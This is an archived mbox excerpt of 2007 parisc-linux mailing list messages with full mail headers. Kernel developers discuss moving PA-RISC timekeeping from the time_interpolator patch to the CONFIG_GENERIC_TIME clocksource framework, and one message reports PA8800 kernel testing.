Original-Received: from schroedinger.engr.sgi.com (schroedinger.engr.sgi.com [150.166.1.51])
	by spindle.corp.sgi.com (SGI-8.12.5/8.12.9/generic_config-1.2) with ESMTP id l03HkJCR72979074;
	Wed, 3 Jan 2007 09:46:19 -0800 (PST)
Original-Received: from christoph (helo=localhost)
	by schroedinger.engr.sgi.com with local-esmtp (Exim 3.36 #1 (Debian))
	id 1H2ABv-000240-00; Wed, 03 Jan 2007 09:46:19 -0800
In-Reply-To: <200701022233.25697.deller@gmx.de>
Original-Sender: Christoph Lameter <christoph@schroedinger.engr.sgi.com>
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: xNmpdgwmPTRtDujGPjIwgCQxc2tpZEuf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24203

On Tue, 2 Jan 2007, Helge Deller wrote:

> As far as I could see, this patch does not change anything for the 
> existing architectures which use this framework (IA64 and SPARC64), 
> since "cycles_t" is defined there as unsigned 64bit-integer anyway 
> (which then makes this patch a no-change for them).

The 64bit nature of some entities was so far necessary to get the 
proper accuracy of interpolation. Maybe it can be made to work with 32 bit 
entities. The macro GET_TI_SECS must work correctly and the less bits are 
specified in shift the less self-tuning accuracy you will get.



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC][PATCH] use cycle_t instead of u64 in
	struct time_interpolator
Date: Wed, 3 Jan 2007 19:36:36 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <200701031936.36423.deller__11880.270104348$1416624250$gmane$org@gmx.de>
References: <200701022233.25697.deller@gmx.de>
	<Pine.LNX.4.64.0701030942160.7909@schroedinger.engr.sgi.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624250 22059 80.91.229.3 (22 Nov 2014 02:44:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:10 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Christoph Lameter <clameter@sgi.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 18:37:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx100) with SMTP; 03 Jan 2007 19:37:05 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7909F7DA11;
	Wed,  3 Jan 2007 11:37:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06326-09; Wed, 3 Jan 2007 11:37:01 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 66DB07DA12;
	Wed,  3 Jan 2007 11:36:59 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6916C7DA08
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 11:36:51 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06292-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Jan 2007 11:36:49 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 60D747DA07
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 11:36:49 -0700 (MST)
Original-Received: (qmail invoked by alias); 03 Jan 2007 18:36:48 -0000
Original-Received: from mnhm-590c0ef6.pool.einsundeins.de (EHLO p100.box) [89.12.14.246]
	by mail.gmx.net (mp017) with SMTP; 03 Jan 2007 19:36:48 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <Pine.LNX.4.64.0701030942160.7909@schroedinger.engr.sgi.com>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5s+ucXdbRkkeaauPfGRqSS1mdWkvKNOw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24204

On Wed Jan 3 2007, Christoph Lameter wrote:
> On Tue, 2 Jan 2007, Helge Deller wrote:
> 
> > As far as I could see, this patch does not change anything for the 
> > existing architectures which use this framework (IA64 and SPARC64), 
> > since "cycles_t" is defined there as unsigned 64bit-integer anyway 
> > (which then makes this patch a no-change for them).
> 
> The 64bit nature of some entities was so far necessary to get the 
> proper accuracy of interpolation. Maybe it can be made to work with 32 bit 
> entities. The macro GET_TI_SECS must work correctly and the less bits are 
> specified in shift the less self-tuning accuracy you will get.

Yes, it was easily possible to make it 32bit-ready without loosing the accuracy.

Nevertheless, in the meantime John Stultz pointed me to the CONFIG_GENERIC_TIME framework,  and I implemented it that way:
http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=b6de83b58b8b07f057deacdef8a95b6c32d1c4e6
http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=f70a979c843e4610edfb2a316648fe8ae8718f69

Thus please ignore my original patch proposal. It's not needed any more...

Thanks,
Helge

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA8800 Status (Happy New Year)
Date: Wed, 3 Jan 2007 13:58:16 -0500 (EST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200701031858.l03IwHfL004053__24210.1593678401$1416624251$gmane$org@hiauly1.hia.nrc.ca>
References: <20070103072418.GE702@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624251 22062 80.91.229.3 (22 Nov 2014 02:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 18:58:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 03 Jan 2007 19:58:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 10F9D7DA29;
	Wed,  3 Jan 2007 11:58:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06841-01; Wed, 3 Jan 2007 11:58:25 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4E5497DA18;
	Wed,  3 Jan 2007 11:58:23 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 51F8E7DA0D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 11:58:20 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06563-08 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Jan 2007 11:58:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 9C8F37DA09
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 11:58:18 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l03IwHrY004054;
	Wed, 3 Jan 2007 13:58:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l03IwHfL004053;
	Wed, 3 Jan 2007 13:58:17 -0500 (EST)
In-Reply-To: <20070103072418.GE702@colo.lackof.org> from "Grant Grundler" at
	Jan 3, 2007 00:24:18 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: tpH5EXsxbXBtTrqHPTQ27mkqLyUmZYiC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24205

> Right now, I don't trust the backtrace. *sigh*

I've commented it out for the moment.  Since I rebuilt 2.6.20-rc2
last night with Helge's timer change, the machine has rebuilt GCC
and got through the gcc (C) testsuite.  However, expect hung at the
end.  I've reported this before.

So far, I've just tried UP kernels.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: john stultz <johnstul@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH] use cycle_t instead of u64 in struct
	time_interpolator
Date: Wed, 03 Jan 2007 11:17:59 -0800
Lines: 40
Approved: news@gmane.org
Message-ID: <1167851879.5937.8.camel__16923.8622802824$1416624251$gmane$org@localhost.localdomain>
References: <200701022233.25697.deller@gmx.de>
	 <Pine.LNX.4.64.0701030942160.7909@schroedinger.engr.sgi.com>
	 <200701031936.36423.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624251 22066 80.91.229.3 (22 Nov 2014 02:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:11 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <johnstul@us.ibm.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 19:18:03 -0000
Original-Received: from e6.ny.us.ibm.com (EHLO e6.ny.us.ibm.com) [32.97.182.146]
  by mx0.gmx.net (mx028) with SMTP; 03 Jan 2007 20:18:03 +0100
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e6.ny.us.ibm.com (8.13.8/8.12.11) with ESMTP id l03JIYPx030775
	for <deller@gmx.de>; Wed, 3 Jan 2007 14:18:34 -0500
Original-Received: from d01av04.pok.ibm.com (d01av04.pok.ibm.com [9.56.224.64])
	by d01relay02.pok.ibm.com (8.13.6/8.13.6/NCO v8.1.1) with ESMTP id l03JI2Wq294788
	for <deller@gmx.de>; Wed, 3 Jan 2007 14:18:02 -0500
Original-Received: from d01av04.pok.ibm.com (loopback [127.0.0.1])
	by d01av04.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id l03JI2lU003619
	for <deller@gmx.de>; Wed, 3 Jan 2007 14:18:02 -0500
Original-Received: from [9.67.47.17] (wecm-9-67-47-17.wecm.ibm.com [9.67.47.17])
	by d01av04.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id l03JI01g003507;
	Wed, 3 Jan 2007 14:18:01 -0500
In-Reply-To: <200701031936.36423.deller@gmx.de>
X-Mailer: Evolution 2.8.1 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: WDOudg8mPTRtDujGPjIwakExc2tpZMun
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24206

On Wed, 2007-01-03 at 19:36 +0100, Helge Deller wrote:
> On Wed Jan 3 2007, Christoph Lameter wrote:
> > On Tue, 2 Jan 2007, Helge Deller wrote:
> >
> > > As far as I could see, this patch does not change anything for the
> > > existing architectures which use this framework (IA64 and SPARC64),
> > > since "cycles_t" is defined there as unsigned 64bit-integer anyway
> > > (which then makes this patch a no-change for them).
> >
> > The 64bit nature of some entities was so far necessary to get the
> > proper accuracy of interpolation. Maybe it can be made to work with 32 bit
> > entities. The macro GET_TI_SECS must work correctly and the less bits are
> > specified in shift the less self-tuning accuracy you will get.
> 
> Yes, it was easily possible to make it 32bit-ready without loosing the accuracy.
> 
> Nevertheless, in the meantime John Stultz pointed me to the CONFIG_GENERIC_TIME framework,  and I implemented it that way:
> http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=b6de83b58b8b07f057deacdef8a95b6c32d1c4e6

This looks pretty good, although setting the rating to 200 for a
clocksource you don't want to use seems a bit high (there's a rough
rating scale in clocksource.h). Zero is probably what you want to use
there.

> http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=f70a979c843e4610edfb2a316648fe8ae8718f69

This looks to be correct, although as the clocksource infrastructure
evolves it looks like we'll be removing the update_callback code in the
future. So this is fine for now, but will probably need a reevaluation
at some point.

Also to avoid jumping between clocksources, I'd keep the initial
disqualification that occurs before you register the clocksource
(otherwise it will be used for one tick, then be disqualified and you're
back to jiffies).

thanks
-john



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [RFC][PATCH] use cycle_t instead of u64 in
	struct time_interpolator
Date: Wed, 3 Jan 2007 21:23:21 +0100
Lines: 52
Approved: news@gmane.org
Message-ID: <200701032123.21276.deller__40609.5411316075$1416624251$gmane$org@gmx.de>
References: <200701022233.25697.deller@gmx.de>
	<200701031936.36423.deller@gmx.de>
	<1167851879.5937.8.camel@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624251 22069 80.91.229.3 (22 Nov 2014 02:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:11 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org,
 Christoph Lameter <clameter@sgi.com>
To: john stultz <johnstul@us.ibm.com>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 20:23:37 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx077) with SMTP; 03 Jan 2007 21:23:37 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0F0DE7DA20;
	Wed,  3 Jan 2007 13:23:33 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07301-09; Wed, 3 Jan 2007 13:23:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F320A7DA25;
	Wed,  3 Jan 2007 13:23:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 34EC77DA1C
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 13:23:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07301-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 3 Jan 2007 13:23:24 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 3775E7DA1A
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  3 Jan 2007 13:23:24 -0700 (MST)
Original-Received: (qmail invoked by alias); 03 Jan 2007 20:23:23 -0000
Original-Received: from mnhm-590c0ef6.pool.einsundeins.de (EHLO p100.box) [89.12.14.246]
	by mail.gmx.net (mp037) with SMTP; 03 Jan 2007 21:23:23 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.5
In-Reply-To: <1167851879.5937.8.camel@localhost.localdomain>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r2H1KkwpMydyf4igZWplot5raGRhZtpA
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24207

On Wed Jan 3 2007, john stultz wrote:
> On Wed, 2007-01-03 at 19:36 +0100, Helge Deller wrote:
> > On Wed Jan 3 2007, Christoph Lameter wrote:
> > > On Tue, 2 Jan 2007, Helge Deller wrote:
> > >
> > > > As far as I could see, this patch does not change anything for the
> > > > existing architectures which use this framework (IA64 and SPARC64),
> > > > since "cycles_t" is defined there as unsigned 64bit-integer anyway
> > > > (which then makes this patch a no-change for them).
> > >
> > > The 64bit nature of some entities was so far necessary to get the
> > > proper accuracy of interpolation. Maybe it can be made to work with 32 bit
> > > entities. The macro GET_TI_SECS must work correctly and the less bits are
> > > specified in shift the less self-tuning accuracy you will get.
> > 
> > Yes, it was easily possible to make it 32bit-ready without loosing the accuracy.
> > 
> > Nevertheless, in the meantime John Stultz pointed me to the CONFIG_GENERIC_TIME framework,  and I implemented it that way:
> > http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=b6de83b58b8b07f057deacdef8a95b6c32d1c4e6
> 
> This looks pretty good, although setting the rating to 200 for a
> clocksource you don't want to use seems a bit high (there's a rough
> rating scale in clocksource.h). Zero is probably what you want to use
> there.
> 
> > http://git.parisc-linux.org/?p=linux-2.6.git;a=commit;h=f70a979c843e4610edfb2a316648fe8ae8718f69
> 
> This looks to be correct, although as the clocksource infrastructure
> evolves it looks like we'll be removing the update_callback code in the
> future. So this is fine for now, but will probably need a reevaluation
> at some point.
> 
> Also to avoid jumping between clocksources, I'd keep the initial
> disqualification that occurs before you register the clocksource
> (otherwise it will be used for one tick, then be disqualified and you're
> back to jiffies).

That's true, but James Bottomley noticed, that time_init() is called before 
we've done system inventory (which detects if we have a SMP box with multiple CPUs),
so num_online_cpus() would always be one. The update_callback function enables
us to switch back to jiffies if we actually run on a SMP box.

That said, it would be nice to keep the update_callback() functionality or provide another
nice solution around that problem...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: john stultz <johnstul@us.ibm.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [RFC][PATCH] use cycle_t instead of u64 in struct
	time_interpolator
Date: Wed, 03 Jan 2007 12:42:35 -0800
Lines: 59
Approved: news@gmane.org
Message-ID: <1167856955.5937.12.camel__19711.2508969896$1416624252$gmane$org@localhost.localdomain>
References: <200701022233.25697.deller@gmx.de>
	 <200701031936.36423.deller@gmx.de>
	 <1167851879.5937.8.camel@localhost.localdomain>
	 <200701032123.21276.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624252 22071 80.91.229.3 (22 Nov 2014 02:44:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:12 +0000 (UTC)
Cc: Christoph Lameter <clameter@sgi.com>,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:36 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <johnstul@us.ibm.com>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 03 Jan 2007 20:42:40 -0000
Original-Received: from e35.co.us.ibm.com (EHLO e35.co.us.ibm.com) [32.97.110.153]
  by mx0.gmx.net (mx020) with SMTP; 03 Jan 2007 21:42:40 +0100
Original-Received: from d03relay04.boulder.ibm.com (d03relay04.boulder.ibm.com [9.17.195.106])
	by e35.co.us.ibm.com (8.13.8/8.12.11) with ESMTP id l03KgbJD004869
	for <deller@gmx.de>; Wed, 3 Jan 2007 15:42:37 -0500
Original-Received: from d03av02.boulder.ibm.com (d03av02.boulder.ibm.com [9.17.195.168])
	by d03relay04.boulder.ibm.com (8.13.6/8.13.6/NCO v8.1.1) with ESMTP id l03KgbUl537816
	for <deller@gmx.de>; Wed, 3 Jan 2007 13:42:37 -0700
Original-Received: from d03av02.boulder.ibm.com (loopback [127.0.0.1])
	by d03av02.boulder.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id l03KgbuY023137
	for <deller@gmx.de>; Wed, 3 Jan 2007 13:42:37 -0700
Original-Received: from [9.67.47.17] (wecm-9-67-47-17.wecm.ibm.com [9.67.47.17])
	by d03av02.boulder.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id l03Kga6N023005;
	Wed, 3 Jan 2007 13:42:36 -0700
In-Reply-To: <200701032123.21276.deller@gmx.de>
X-Mailer: Evolution 2.8.1 
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eCelcAZceWU7ULeUfHVz14U5U3U4N8/Q
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24208

On Wed, 2007-01-03 at 21:23 +0100, Helge Deller wrote:
> On Wed Jan 3 2007, john stultz wrote:
> > On Wed, 2007-01-03 at 19:36 +0100, Helge Deller wrote:
> > > On Wed Jan 3 2007, Christoph Lameter wrote:
> > > > On Tue, 2 Jan 2007, Helge Deller wrote:
> > > >
> > > > > As far as I could see, this patch does not change anything for the
> > > > > existing architectures which use this framework (IA64 and SPARC64),
> > > > > since "cycles_t" is defined there as unsigned 64bit-integer anyway
> > > > > (which then makes this patch a no-change for them).
> > > >
> > > > The 64bit nature of some entities was so far necessary to get the
> > > > proper accuracy of interpolation. Maybe it can be made to work with 32 bit
> > > > entities. The macro GET_TI_SECS must work correctly and the less bits are
> > > > specified in shift the less self-tuning accuracy you will get.
> > >
> > > Yes, it was easily possible to make it 32bit-ready without loosing the accuracy.
> > >
